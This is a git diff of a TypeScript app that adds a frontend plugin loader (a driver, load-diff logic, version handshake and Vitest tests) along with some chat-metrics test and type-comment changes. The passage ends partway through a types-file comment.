+ expect(sim.layout()).toEqual([
+ "user:q1",
+ "assistant:a1",
+ "[turn t1]",
+ "user:q2",
+ "tool:k1",
+ "[step t2#0]",
+ "user:steer!",
+ "tool:k2",
+ "[step t2#1]",
+ "assistant:a2",
+ "[turn t2]",
+ "user:q3",
+ "assistant:a3",
+ "[turn t3]",
+ ]);
+ });
+
+ it("an errored turn gets its own metrics and never shifts the others", () => {
+ const sim = new Sim(legacy);
+ textHistory(sim, 1);
+ sim.send("q2");
+ sim.start("t2", "q2");
+ sim.text("t2", "partial");
+ sim.completeStep("t2", 0);
+ sim.fail("t2", "boom", 1);
+ textHistoryFrom(sim, 3);
+ const l = sim.layout();
+ expect(l.indexOf("[turn t1]")).toBe(l.indexOf("assistant:a1") + 1);
+ expect(l.indexOf("[turn t2]")).toBeGreaterThan(l.indexOf("error:boom"));
+ expect(l.indexOf("[turn t2]")).toBeLessThan(l.indexOf("user:q3"));
+ expect(l.indexOf("[turn t3]")).toBe(l.indexOf("assistant:a3") + 1);
+ });
+
+ it("an errored turn with NO metrics never steals another turn's", () => {
+ const sim = new Sim(legacy);
+ textHistory(sim, 1);
+ sim.send("q2");
+ sim.start("t2", "q2");
+ sim.fail("t2", "boom", 0); // failed before any step → no metrics row
+ textHistoryFrom(sim, 3);
+ expect(sim.layout()).toEqual([
+ "user:q1",
+ "assistant:a1",
+ "[turn t1]",
+ "user:q2",
+ "error:boom",
+ "user:q3",
+ "assistant:a3",
+ "[turn t3]",
+ ]);
+ });
+
+ it("a turn cut in half by the chat limit still shows its total under its visible tail", () => {
+ const sim = new Sim(legacy);
+ sim.send("q1");
+ sim.start("t1", "q1");
+ sim.toolStep("t1", 0, "k1");
+ sim.toolStep("t1", 1, "k2");
+ sim.finish("t1", "a1", 2);
+ textHistoryFrom(sim, 2);
+ // log: q1 call result call result a1 | q2 a2 → keep newest 6
+ sim.trim(7);
+ const l = sim.layout();
+ expect(l).not.toContain("user:q1");
+ expect(l.indexOf("[turn t1]")).toBe(l.indexOf("assistant:a1") + 1);
+ expect(l.indexOf("[turn t2]")).toBe(l.indexOf("assistant:a2") + 1);
+ });
+ });
+}
+
+/** Continue a text history from turn `from` (one more turn). */
+function textHistoryFrom(sim: Sim, from: number): void {
+ sim.send(`q${from}`);
+ sim.start(`t${from}`, `q${from}`);
+ sim.finish(`t${from}`, `a${from}`, 0);
+}
diff --git a/src/core/metrics/types.ts b/src/core/metrics/types.ts
index 84d1904..95b5b02 100644
--- a/src/core/metrics/types.ts
+++ b/src/core/metrics/types.ts
@@ -61,10 +61,11 @@ export type MetricsRow =
/** Cumulative usage across all finalized turns up to and including this one. */
readonly cumulativeUsage: Usage;
/**
- * Usage of the most recent EARLIER finalized turn, or `null` when this is the
- * first finalized turn. The baseline for cross-turn retention (expected cache).
+ * Usage of the LAST step of the most recent EARLIER finalized turn, or
+ * `null` when there is none. The baseline for cross-turn retention: that
+ * step's prompt is what this turn's first step should find in cache.
*/
- readonly prevTurnUsage: Usage | null;
+ readonly prevLastStepUsage: Usage | null;
};
/** Formatted cache hit-rate view: percentage + colour severity + hit flag. */
@@ -80,6 +81,7 @@ export interface CacheRateView {
/** Formatted per-step view for display. */
export interface StepMetricsView {
readonly label: string;
+ /** `"<in> in / <out> out"` — this step's prompt and generated tokens. */
readonly tokensLabel: string;
readonly tps: string | null;
readonly ttft: string | null;
@@ -90,7 +92,13 @@ export interface StepMetricsView {
/** Formatted per-turn view for display. */
export interface TurnMetricsView {
readonly label: string;
+ /** `"<out> tok out"` — tokens the model generated this turn. */
readonly tokensLabel: string;
+ /**
+ * Prompt-side breakdown: input tokens processed (summed over the turn's
+ * steps — each step re-sends the whole prompt, so this is NOT the context
+ * size) and how many of them were cache reads.
+ */
readonly breakdown: string;
readonly tps: string | null;
readonly duration: string | null;
diff --git a/src/core/plugin-abi/driver.test.ts b/src/core/plugin-abi/driver.test.ts
new file mode 100644
index 0000000..43d0af5
--- /dev/null
+++ b/src/core/plugin-abi/driver.test.ts
@@ -0,0 +1,210 @@
+import { describe, expect, it, vi } from "vitest";
+import { createFrontendDriver, type FrontendDriverDeps } from "./driver.js";
+import type { FrontendCandidate } from "./load-diff.js";
+
+/**
+ * Asymmetric testing: the ONLY fake is the OUTERMOST edge (the dynamic
+ * import + the host-API builder — injected effects). The driver's internals,
+ * the load diff, and the registry-facing sweep contract are real.
+ */
+
+const c = (id: string, bust = "1"): FrontendCandidate => ({
+ id,
+ url: `http://x/plugins/${id}/frontend?workspace=w&v=${bust}`,
+ apiVersion: "^1",
+});
+
+interface Harness {
+ readonly deps: FrontendDriverDeps & {
+ // The race test swaps the import edge before the driver exists — the
+ // driver reads the dep object per call, so the mutation is the swap.
+ importModule: (url: string) => Promise<unknown>;
+ };
+ readonly imports: string[];
+ readonly sweeps: string[];
+ /** The modules the fake import() returns, keyed by the next id. */
+ readonly modules: Map<string, unknown>;
+ readonly logs: string[];
+}
+
+function harness(): Harness {
+ const imports: string[] = [];
+ const sweeps: string[] = [];
+ const logs: string[] = [];
+ const modules = new Map<string, unknown>();
+ const deps: FrontendDriverDeps = {
+ importModule: async (url) => {
+ imports.push(url);
+ const id = new URL(url).pathname.split("/")[2] ?? "";
+ const mod = modules.get(id);
+ if (mod === undefined) throw new Error(`404: ${url}`);
+ return mod;
+ },
+ buildHostApi: (pluginId) => ({
+ abiVersion: "1.1",
+ registerView: () => () => {},
+ surfaces: {
+ subscribe: () => {},
+ unsubscribe: () => {},
+ invoke: () => {},
+ getSpec: () => null,
+ },
+ logger: { info: () => {}, warn: () => {} },
+ layout: {
+ applyOps: async () => ({ ok: false, error: "no layout provider active" }),
+ getTree: () => null,
+ },
+ ...(pluginId === undefined ? {} : {}),
+ }),
+ unregisterViewsByPlugin: (pluginId) => sweeps.push(pluginId),
+ logger: {
+ info: (msg) => logs.push(msg),
+ warn: (msg) => logs.push(msg),
+ },
+ };
+ return { deps, imports, sweeps, modules, logs };
+}
+
+describe("createFrontendDriver — the load lifecycle", () => {
+ it("boot: imports newcomers and calls activate with the plugin's own host API", async () => {
+ const h = harness();
+ const activate = vi.fn();
+ h.modules.set("a", { default: { activate } });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("a")]);
+ expect(h.imports).toEqual([c("a").url]);
+ expect(activate).toHaveBeenCalledOnce();
+ expect(driver.states().get("a")).toEqual({ kind: "loaded" });
+ });
+
+ it("extensions-changed: a vanished plugin runs its deactivate + the registry sweep", async () => {
+ const h = harness();
+ const deactivate = vi.fn();
+ h.modules.set("a", { default: { activate: () => deactivate } });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("a")]);
+ await driver.sync([]); // the plugin is gone from the desired set
+ expect(deactivate).toHaveBeenCalledOnce();
+ expect(h.sweeps).toEqual(["a"]);
+ expect(driver.states().has("a")).toBe(false);
+ });
+
+ it("unload disposes EXACTLY that plugin (the sweep is per-pluginId)", async () => {
+ const h = harness();
+ h.modules.set("a", { default: { activate: () => () => {} } });
+ h.modules.set("b", { default: { activate: () => () => {} } });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("a"), c("b")]);
+ await driver.sync([c("b")]); // only `a` vanishes
+ expect(h.sweeps).toEqual(["a"]);
+ });
+
+ it("workspace.set / re-enable: the SAME url re-activates the cached module", async () => {
+ const h = harness();
+ const activate = vi.fn();
+ h.modules.set("a", { default: { activate } });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("a")]);
+ await driver.sync([]); // disable → unload (disposer + sweep)
+ await driver.sync([c("a")]); // re-enable → activate re-runs
+ expect(h.imports).toEqual([c("a").url, c("a").url]); // re-fetched URL
+ expect(activate).toHaveBeenCalledTimes(2);
+ expect(h.sweeps).toEqual(["a"]);
+ });
+
+ it("a changed URL (backend reload) unloads then re-imports fresh code", async () => {
+ const h = harness();
+ const activate = vi.fn(() => () => {});
+ h.modules.set("a", { default: { activate } });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("a", "old")]);
+ await driver.sync([c("a", "new")]);
+ expect(h.sweeps).toEqual(["a"]);
+ expect(h.imports).toEqual([c("a", "old").url, c("a", "new").url]);
+ expect(activate).toHaveBeenCalledTimes(2);
+ });
+
+ it("a throwing activate is LOUD: failed state, no crash, others still load", async () => {
+ const h = harness();
+ h.modules.set("bad", {
+ default: {
+ activate: () => {
+ throw new Error("boom");
+ },
+ },
+ });
+ h.modules.set("good", { default: { activate: () => () => {} } });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("bad"), c("good")]);
+ expect(driver.states().get("bad")).toEqual({ kind: "failed", error: "boom" });
+ expect(driver.states().get("good")).toEqual({ kind: "loaded" });
+ // The failed plugin owns nothing — the sweep never ran for it.
+ expect(h.sweeps).toEqual([]);
+ });
+
+ it("a broken module (404 / missing activate) is a failed state, not a crash", async () => {
+ const h = harness();
+ h.modules.set("no-activate", { default: {} });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("ghost"), c("no-activate")]);
+ expect(driver.states().get("ghost")?.kind).toBe("failed");
+ expect(driver.states().get("no-activate")?.kind).toBe("failed");
+ expect(h.logs.some((l) => l.includes("activation failed"))).toBe(true);
+ });
+
+ it("a throwing deactivate still gets the registry sweep (views never linger)", async () => {
+ const h = harness();
+ h.modules.set("a", {
+ default: {
+ activate: () => () => {
+ throw new Error("disposer boom");
+ },
+ },
+ });
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([c("a")]);
+ await driver.sync([]);
+ expect(h.sweeps).toEqual(["a"]);
+ });
+
+ it("handshake-incompatible candidates are never imported (reported for the UI)", async () => {
+ const h = harness();
+ const driver = createFrontendDriver(h.deps);
+ await driver.sync([{ ...c("bad"), apiVersion: "^2" }]);
+ expect(h.imports).toEqual([]);
+ expect(driver.states().get("bad")).toEqual({ kind: "incompatible", apiVersion: "^2" });
+ });
+
+ it("overlapping syncs serialize (boot + extensions-changed race)", async () => {
+ const h = harness();
+ let releaseImport: (() => void) | undefined;
+ h.modules.set("a", {
+ default: {
+ activate: () => {
+ return () => {};
+ },
+ },
+ });
+ const blockingImport = async (url: string) => {
+ h.imports.push(url);
+ await new Promise<void>((resolve) => {
+ releaseImport = resolve;
+ });
+ return h.modules.get("a");
+ };
+ // Swap the import edge BEFORE the driver exists (the driver reads the
+ // dep object per call — the swap is the injection point for the race).
+ h.deps.importModule = blockingImport;
+ const driver = createFrontendDriver(h.deps);
+ const first = driver.sync([c("a")]);
+ const second = driver.sync([]); // queued behind the first
+ // While the first sync is blocked on import, the second must not have
+ // started (no unload of `a` mid-import).
+ await new Promise((r) => setTimeout(r, 10));
+ releaseImport?.();
+ await Promise.all([first, second]);
+ // The second pass sees `a` already imported (the queued sync ran after)
+ // and unloads it — exactly one sweep, no interleaving.
+ expect(h.sweeps).toEqual(["a"]);
+ });
+});
diff --git a/src/core/plugin-abi/driver.ts b/src/core/plugin-abi/driver.ts
new file mode 100644
index 0000000..7ba326f
--- /dev/null
+++ b/src/core/plugin-abi/driver.ts
@@ -0,0 +1,140 @@
+/**
+ * The frontend-module DRIVER (plan 03 §3.2) — the effectful lifecycle host.
+ * Owns the imported-module set and runs ONE sync pass per trigger (boot,
+ * `extensions-changed`, `workspace.set`):
+ *
+ * 1. diff (pure, `decideFrontendLoads`) the desired set against the
+ * imported set;
+ * 2. UNLOAD stragglers: run the module's deactivate disposer (if it
+ * returned one) then the host's unregister-by-pluginId sweep — the UI is
+ * immediately correct. HONEST LIMITATION: ESM cannot be un-fetched; the
+ * bytes linger in the module cache. Re-enable re-runs `activate` on the
+ * cached module (same URL ⇒ no re-fetch).
+ * 3. IMPORT newcomers: dynamic-import the URL (THE injected edge), call
+ * `activate(api)` with the plugin's own host API (forced pluginId
+ * attribution). A throwing/missing activate is LOUD: the plugin's FE
+ * half is marked failed (the backend half stays loaded) and the failure
+ * never crashes the host or blocks the other plugins.
+ *
+ * Syncs are serialized (a chain) — boot + extensions-changed + workspace
+ * switches can overlap, and import/unload ordering must stay coherent.
+ * No internal mocks: tests inject the import edge + host-API builder.
+ */
+import type {
+ FrontendCandidate,
+ FrontendLoadDecision,
+ ImportedFrontendModule,
+} from "./load-diff.js";
+import { decideFrontendLoads } from "./load-diff.js";
+import type { FrontendHostAPI, FrontendPluginModule, FrontendPluginState } from "./types.js";
+
+export interface FrontendDriverDeps {
+ /**
+ * THE edge: dynamic ESM import. Injected (the composition root binds
+ * `import(url)`; tests bind a fake) so nothing else in the driver touches
+ * the module system.
+ */
+ readonly importModule: (url: string) => Promise<unknown>;
+ /**
+ * Build the plugin's host API — the composition root closes over the
+ * registry + surfaces ports + logger and FORCES the pluginId attribution.
+ */
+ readonly buildHostApi: (pluginId: string) => FrontendHostAPI;
+ /** The unregister-by-pluginId sweep (the registry-side unload path). */
+ readonly unregisterViewsByPlugin: (pluginId: string) => void;
+ readonly logger: { info: (msg: string) => void; warn: (msg: string) => void };
+}
+
+export interface FrontendDriver {
+ /** Run one sync pass. Serialized; never throws (failures are states). */
+ sync(candidates: readonly FrontendCandidate[]): Promise<void>;
+ /** The per-plugin states the manager UI renders. */
+ states(): ReadonlyMap<string, FrontendPluginState>;
+}
+
+interface ImportedEntry extends ImportedFrontendModule {
+ readonly deactivate: (() => void) | undefined;
+}
+
+export function createFrontendDriver(deps: FrontendDriverDeps): FrontendDriver {
+ /** pluginId → the imported module's entry. */
+ const imported = new Map<string, ImportedEntry>();
+ /** pluginId → its last-known FE state (for the manager UI). */
+ const pluginStates = new Map<string, FrontendPluginState>();
+ /** The sync chain (serialization across triggers). */
+ let chain: Promise<void> = Promise.resolve();
+
+ /** Unload one plugin: module disposer FIRST, then the registry sweep. */
+ function unload(id: string, entry: ImportedEntry): void {
+ try {
+ entry.deactivate?.();
+ } catch (err) {
+ // A broken deactivate must not block the sweep — the registration
+ // ledger's force-clean philosophy (the views must not linger).
+ deps.logger.warn(`frontend-plugin "${id}": deactivate threw — ${String(err)}`);
+ }
+ try {
+ deps.unregisterViewsByPlugin(id);
+ } catch (err) {
+ deps.logger.warn(`frontend-plugin "${id}": unregister sweep threw — ${String(err)}`);
+ }
+ imported.delete(id);
+ pluginStates.delete(id);
+ deps.logger.info(`frontend-plugin "${id}": unloaded`);
+ }
+
+ /** Import + activate one candidate. Failures are LOUD states, not throws. */
+ async function load(candidate: FrontendCandidate): Promise<void> {
+ try {
+ const mod = (await deps.importModule(candidate.url)) as FrontendPluginModule | undefined;
+ const activate = mod?.default?.activate;
+ if (typeof activate !== "function") {
+ throw new Error("the module has no default.activate export");
+ }
+ const disposer = activate(deps.buildHostApi(candidate.id));
+ imported.set(candidate.id, {
+ url: candidate.url,
+ deactivate: typeof disposer === "function" ? disposer : undefined,
+ });
+ pluginStates.set(candidate.id, { kind: "loaded" });
+ deps.logger.info(`frontend-plugin "${candidate.id}": activated`);
+ } catch (err) {
+ const message = err instanceof Error ? err.message : String(err);
+ pluginStates.set(candidate.id, { kind: "failed", error: message });
+ deps.logger.warn(`frontend-plugin "${candidate.id}": activation failed — ${message}`);
+ }
+ }
+
+ return {
+ async sync(candidates: readonly FrontendCandidate[]): Promise<void> {
+ const run = chain.then(() => runSync(candidates));
+ // The NEXT sync waits for this one; a rejected run must not poison the
+ // chain (runSync itself never throws, but belt-and-suspenders).
+ chain = run.catch(() => {});
+ await run;
+ },
+
+ states(): ReadonlyMap<string, FrontendPluginState> {
+ return new Map(pluginStates);
+ },
+ };
+
+ async function runSync(candidates: readonly FrontendCandidate[]): Promise<void> {
+ const decision: FrontendLoadDecision = decideFrontendLoads(candidates, imported);
+
+ // The handshake verdicts persist even when nothing else changes — the
+ // manager UI renders "incompatible frontend plugin" until the plugin's
+ // manifest (or the host) changes.
+ for (const bad of decision.incompatible) {
+ pluginStates.set(bad.id, { kind: "incompatible", apiVersion: bad.apiVersion });
+ }
+
+ for (const id of decision.toUnload) {
+ const entry = imported.get(id);
+ if (entry !== undefined) unload(id, entry);
+ }
+ for (const candidate of decision.toLoad) {
+ await load(candidate);
+ }
+ }
+}
diff --git a/src/core/plugin-abi/index.ts b/src/core/plugin-abi/index.ts
new file mode 100644
index 0000000..3c97eca
--- /dev/null
+++ b/src/core/plugin-abi/index.ts
@@ -0,0 +1,27 @@
+/**
+ * The frontend plugin ABI (plan 03) — the contract + lifecycle machinery for
+ * dynamically-imported frontend plugin modules. See `types.ts` (the surface),
+ * `version.ts` (the handshake), `load-diff.ts` (pure decisions), and
+ * `driver.ts` (the effectful host). The composition root (src/app) wires the
+ * driver to the registry, the surfaces ports, and the plugin HTTP edge.
+ */
+export { createFrontendDriver, type FrontendDriver, type FrontendDriverDeps } from "./driver.js";
+export {
+ decideFrontendLoads,
+ type FrontendCandidate,
+ type FrontendCandidatesInput,
+ type FrontendLoadDecision,
+ frontendCandidates,
+ type ImportedFrontendModule,
+ usablePluginIds,
+} from "./load-diff.js";
+export type {
+ FrontendHostAPI,
+ FrontendPluginModule,
+ FrontendPluginState,
+ FrontendViewRegistration,
+} from "./types.js";
+export {
+ FRONTEND_ABI_VERSION,
+ isFrontendCompatible,
+} from "./version.js";
diff --git a/src/core/plugin-abi/load-diff.test.ts b/src/core/plugin-abi/load-diff.test.ts
new file mode 100644
index 0000000..f8ebf6c
--- /dev/null
+++ b/src/core/plugin-abi/load-diff.test.ts
@@ -0,0 +1,183 @@
+import type { PluginListResponse } from "@dispatch/transport-contract";
+import { describe, expect, it } from "vitest";
+import {
+ decideFrontendLoads,
+ frontendCandidates,
+ type ImportedFrontendModule,
+ usablePluginIds,
+} from "./load-diff.js";
+import { FRONTEND_ABI_VERSION } from "./version.js";
+
+const httpBase = "http://localhost:24203";
+
+function listWith(
+ ...rows: readonly {
+ readonly id: string;
+ readonly apiVersion?: string;
+ readonly bust?: string;
+ }[]
+): PluginListResponse {
+ return {
+ loaded: rows.map((r) => ({
+ id: r.id,
+ name: r.id,
+ version: "1.0.0",
+ tier: "standard" as const,
+ trust: "local" as const,
+ locked: false,
+ dependsOn: [],
+ ...(r.apiVersion === undefined
+ ? {}
+ : { frontend: { apiVersion: r.apiVersion, entry: "frontend.js", bust: r.bust ?? "1" } }),
+ })),
+ disabledWithReason: [],
+ discovered: [],
+ missing: [],
+ };
+}
+
+describe("frontendCandidates", () => {
+ it("derives candidates from loaded ∧ frontend-declaring ∧ workspace-enabled rows", () => {
+ const candidates = frontendCandidates(
+ listWith(
+ { id: "a", apiVersion: "^1", bust: "111" },
+ { id: "no-fe" },
+ { id: "b", apiVersion: "^1", bust: "222" },
+ ),
+ { workspaceId: "team-a", usableIds: new Set(["a", "b", "no-fe"]), httpBase },
+ );
+ expect(candidates).toEqual([
+ {
+ id: "a",
+ apiVersion: "^1",
+ url: `${httpBase}/plugins/a/frontend?workspace=team-a&v=111`,
+ },
+ {
+ id: "b",
+ apiVersion: "^1",
+ url: `${httpBase}/plugins/b/frontend?workspace=team-a&v=222`,
+ },
+ ]);
+ });
+
+ it("excludes plugins disabled in the active workspace", () => {
+ const candidates = frontendCandidates(listWith({ id: "a", apiVersion: "^1" }), {
+ workspaceId: "team-a",
+ usableIds: new Set<string>(),
+ httpBase,
+ });
+ expect(candidates).toEqual([]);
+ });
+
+ it("URL-encodes the workspace and bust", () => {
+ const candidates = frontendCandidates(listWith({ id: "a", apiVersion: "^1", bust: "1 2" }), {
+ workspaceId: "team a",
+ usableIds: new Set(["a"]),
+ httpBase,
+ });
+ expect(candidates[0]?.url).toBe(`${httpBase}/plugins/a/frontend?workspace=team%20a&v=1%202`);
+ });
+});
+
+describe("usablePluginIds", () => {
+ it("mirrors isPluginUsable: core usable unless disabled, others enabled-only", () => {
+ const usable = usablePluginIds([
+ { pluginId: "core-one", tier: "core", state: "undefined", loaded: true, locked: true },
+ { pluginId: "core-off", tier: "core", state: "disabled", loaded: true, locked: true },
+ { pluginId: "std-on", tier: "standard", state: "enabled", loaded: true, locked: false },
+ { pluginId: "std-blank", tier: "standard", state: "undefined", loaded: true, locked: false },
+ { pluginId: "prov-on", tier: "providers", state: "enabled", loaded: true, locked: false },
+ { pluginId: "prov-off", tier: "providers", state: "disabled", loaded: true, locked: false },
+ ]);
+ expect([...usable].sort()).toEqual(["core-one", "prov-on", "std-on"]);
+ });
+});
+
+describe("decideFrontendLoads — the load diff (boot / extensions-changed / workspace.set)", () => {
+ const c = (id: string, bust = "1"): { id: string; url: string; apiVersion: string } => ({
+ id,
+ url: `${httpBase}/plugins/${id}/frontend?workspace=w&v=${bust}`,
+ apiVersion: "^1",
+ });
+
+ it("boot: every desired candidate imports (nothing imported yet)", () => {
+ const d = decideFrontendLoads([c("a"), c("b")], new Map());
+ expect(d.toLoad.map((x) => x.id)).toEqual(["a", "b"]);
+ expect(d.toUnload).toEqual([]);
+ expect(d.incompatible).toEqual([]);
+ });
+
+ it("extensions-changed: a removed plugin unloads, a newcomer imports", () => {
+ const imported = new Map<string, ImportedFrontendModule>([
+ ["a", { url: c("a").url }],
+ ["gone", { url: `${httpBase}/plugins/gone/frontend?workspace=w&v=1` }],
+ ]);
+ const d = decideFrontendLoads([c("a"), c("new")], imported);
+ expect(d.toLoad.map((x) => x.id)).toEqual(["new"]);
+ expect(d.toUnload).toEqual(["gone"]);
+ });
+
+ it("workspace.set: the enablement set change drives load AND unload", () => {
+ // The candidate list already reflects the NEW workspace (composition
+ // root re-derives per sync) — previously-imported ids absent from it unload.
+ const imported = new Map<string, ImportedFrontendModule>([
+ ["a", { url: c("a").url }],
+ ["b", { url: c("b").url }],
+ ]);
+ const d = decideFrontendLoads([c("a")], imported);
+ expect(d.toLoad).toEqual([]);
+ expect(d.toUnload).toEqual(["b"]);
+ });
+
+ it("a stable desired set is a no-op (idempotent sync)", () => {
+ const imported = new Map<string, ImportedFrontendModule>([
+ ["a", { url: c("a").url }],
+ ["b", { url: c("b").url }],
+ ]);
+ const d = decideFrontendLoads([c("a"), c("b")], imported);
+ expect(d.toLoad).toEqual([]);
+ expect(d.toUnload).toEqual([]);
+ });
+
+ it("a changed URL (backend reload → new bust) is unload + re-import", () => {
+ const imported = new Map<string, ImportedFrontendModule>([["a", { url: c("a", "old").url }]]);
+ const d = decideFrontendLoads([c("a", "new")], imported);
+ expect(d.toLoad.map((x) => x.id)).toEqual(["a"]);
+ expect(d.toUnload).toEqual(["a"]);
+ });
+
+ it("handshake failure → incompatible, never imported, still unloaded if it was", () => {
+ const bad = { ...c("bad"), apiVersion: "^2" };
+ const imported = new Map<string, ImportedFrontendModule>([["bad", { url: bad.url }]]);
+ const d = decideFrontendLoads([bad], imported);
+ expect(d.toLoad).toEqual([]);
+ expect(d.incompatible).toEqual([{ id: "bad", apiVersion: "^2" }]);
+ // The previously-imported instance must be swept (the manifest changed
+ // under us — the UI must not keep running incompatible code).
+ expect(d.toUnload).toEqual(["bad"]);
+ });
+
+ it("the handshake checks against FRONTEND_ABI_VERSION", () => {
+ // A range that includes the host version passes — proving the version
+ // constant feeds the check.
+ expect(FRONTEND_ABI_VERSION).toBe("1.1");
+ const d = decideFrontendLoads([c("ok")], new Map());
+ expect(d.incompatible).toEqual([]);
+ });
+
+ it("the additive bump keeps v1 plugins loading (plan 04: ^1 spans 1.1)", () => {
+ // c() declares apiVersion "^1" — a bare-major range is a
+ // major-compatibility claim, so the 1.1 host (layout member added) still
+ // loads every v1 plugin.
+ const d = decideFrontendLoads([c("v1-plugin")], new Map());
+ expect(d.toLoad.map((x) => x.id)).toEqual(["v1-plugin"]);
+ expect(d.incompatible).toEqual([]);
+ });
+
+ it("plugins requiring the 1.1 ABI (^1.1) load on the 1.1 host", () => {
+ const layout = { ...c("layout-plugin"), apiVersion: "^1.1" };
+ const d = decideFrontendLoads([layout], new Map());
+ expect(d.toLoad.map((x) => x.id)).toEqual(["layout-plugin"]);
+ expect(d.incompatible).toEqual([]);
+ });
+});
diff --git a/src/core/plugin-abi/load-diff.ts b/src/core/plugin-abi/load-diff.ts
new file mode 100644
index 0000000..b846a40
--- /dev/null
+++ b/src/core/plugin-abi/load-diff.ts
@@ -0,0 +1,137 @@
+/**
+ * The frontend-module load DIFF (plan 03 §3.2) — pure decision logic. On
+ * boot, on `extensions-changed`, and on `workspace.set`, the composition
+ * root derives the DESIRED set of frontend plugins (loaded ∧
+ * workspace-enabled ∧ frontend-declaring) from `GET /plugins` + the active
+ * workspace's enablement rows, and diffs it against the IMPORTED set:
+ * newcomers are `import()`-ed + activated; stragglers are deactivated
+ * (module disposer + unregister-by-pluginId sweep); a changed import URL
+ * (backend reload → new content bust) is an unload + re-import.
+ *
+ * The handshake runs HERE: a plugin whose `frontend.apiVersion` range does
+ * not include FRONTEND_ABI_VERSION is reported "incompatible" and is NEVER
+ * imported — it is also (re)unloaded if a previous version of it was
+ * imported.
+ */
+import type { PluginListResponse, WorkspacePluginRow } from "@dispatch/transport-contract";
+import { FRONTEND_ABI_VERSION, isFrontendCompatible } from "./version.js";
+
+/** One desired frontend plugin, fully URL-resolved. */
+export interface FrontendCandidate {
+ readonly id: string;
+ /** The import URL: the backend route + workspace + the content bust. */
+ readonly url: string;
+ /** The plugin's declared frontend ABI semver range (the handshake input). */
+ readonly apiVersion: string;
+}
+
+/** What the currently-imported modules look like to the diff. */
+export interface ImportedFrontendModule {
+ /** The URL the module was imported from (a change → unload + re-import). */
+ readonly url: string;
+}
+
+/** The diff verdict for one sync pass. */
+export interface FrontendLoadDecision {
+ /** Newcomers (or bust-changed plugins) to import + activate. */
+ readonly toLoad: readonly FrontendCandidate[];
+ /** Imported plugin ids no longer desired (or superseded by a new URL). */
+ readonly toUnload: readonly string[];
+ /** Handshake failures — "incompatible frontend plugin" in the manager UI. */
+ readonly incompatible: readonly { readonly id: string; readonly apiVersion: string }[];
+}
+
+/** The composition-root inputs for candidate derivation. */
+export interface FrontendCandidatesInput {
+ /** The active workspace whose enablement set applies. */
+ readonly workspaceId: string;
+ /** The plugin ids enabled in that workspace (see `usablePluginIds`). */
+ readonly usableIds: ReadonlySet<string>;
+ /** The backend HTTP base (the import URL's origin). */
+ readonly httpBase: string;
+}
+
+/**
+ * The desired frontend-plugin set from a `GET /plugins` response: LOADED ∧
+ * workspace-enabled ∧ frontend-declaring rows, one URL each. The URL is
+ * `/plugins/:id/frontend?workspace=<ws>&v=<bust>` — `v` is the content
+ * bust the additive list field carries (the entry's mtimeMs), so a
+ * backend-side reload (new mtime) produces a NEW URL → the diff re-imports.
+ */
+export function frontendCandidates(
+ list: PluginListResponse,
+ input: FrontendCandidatesInput,
+): readonly FrontendCandidate[] {
+ const out: FrontendCandidate[] = [];
+ for (const row of list.loaded) {
+ if (row.frontend === undefined) continue;
+ if (!input.usableIds.has(row.id)) continue;
+ out.push({
+ id: row.id,
+ apiVersion: row.frontend.apiVersion,
+ url: `${input.httpBase}/plugins/${encodeURIComponent(row.id)}/frontend?workspace=${encodeURIComponent(input.workspaceId)}&v=${encodeURIComponent(row.frontend.bust)}`,
+ });
+ }
+ return out;
+}
+
+/**
+ * Diff the desired set against the imported set. Handshake failures are
+ * NEVER in `toLoad` — and if such a plugin WAS imported (its manifest
+ * changed to an incompatible range), it lands in `toUnload`.
+ */
+export function decideFrontendLoads(
+ candidates: readonly FrontendCandidate[],
+ imported: ReadonlyMap<string, ImportedFrontendModule>,
+): FrontendLoadDecision {
+ const toLoad: FrontendCandidate[] = [];
+ const incompatible: { id: string; apiVersion: string }[] = [];
+ const desired = new Set<string>();
+ /** Imported ids whose URL changed (unload + re-import — fresh code). */
+ const superseded: string[] = [];
+
+ for (const candidate of candidates) {
+ if (!isFrontendCompatible(candidate.apiVersion)) {
+ incompatible.push({ id: candidate.id, apiVersion: candidate.apiVersion });
+ continue;
+ }
+ desired.add(candidate.id);
+ const current = imported.get(candidate.id);
+ if (current === undefined) {
+ toLoad.push(candidate);
+ } else if (current.url !== candidate.url) {
+ // The backend reloaded the plugin (a new content bust → new URL):
+ // unload the OLD instance (its disposer + registry sweep run), then
+ // import the fresh code.
+ superseded.push(candidate.id);
+ toLoad.push(candidate);
+ }
+ }
+
+ // Everything imported that is no longer a (handshake-passing) desired id,
+ // plus same-id candidates whose URL changed.
+ const toUnload = [...[...imported.keys()].filter((id) => !desired.has(id)), ...superseded];
+
+ return { toLoad, toUnload, incompatible };
+}
+
+/**
+ * The workspace-usable plugin ids from a `GET /workspaces/:id/plugins`
+ * response (plan-06 rows) — the FE mirror of the backend's
+ * `isPluginUsable`: tier "core" is usable unless explicitly `disabled`;
+ * every other tier is usable only when explicitly `enabled`. The response's
+ * `loaded: false` rows (records for unloaded plugins) cannot be desired
+ * anyway (candidates come from the LOADED set).
+ */
+export function usablePluginIds(rows: readonly WorkspacePluginRow[]): ReadonlySet<string> {
+ const usable = new Set<string>();
+ for (const row of rows) {
+ if (row.tier === "core" ? row.state !== "disabled" : row.state === "enabled") {
+ usable.add(row.pluginId);
+ }
+ }
+ return usable;
+}
+
+/** Re-export for the composition root's single-import convenience. */
+export { FRONTEND_ABI_VERSION, isFrontendCompatible };
diff --git a/src/core/plugin-abi/types.ts b/src/core/plugin-abi/types.ts
new file mode 100644
index 0000000..bcb8139
--- /dev/null
+++ b/src/core/plugin-abi/types.ts
@@ -0,0 +1,113 @@
+/**
+ * The frontend plugin ABI surface (plan 03 §3.2) — the ONLY contract between
+ * the host app and a dynamically-imported frontend plugin module.
+ *
+ * A frontend plugin is a SINGLE prebuilt ESM file (svelte externalized —
+ * resolved through the host's import map to the app's own Svelte 5 runtime)
+ * whose default export is `{ activate(api) }`. `activate` registers views /
+ * stashes ports and MAY return a deactivate disposer (plan 03's deactivate
+ * contract). Trust model: plugin code runs with full page privileges — no
+ * sandbox (documented non-goal); the trust signal is the manifest's `trust`
+ * field rendered in the manager UI.
+ *
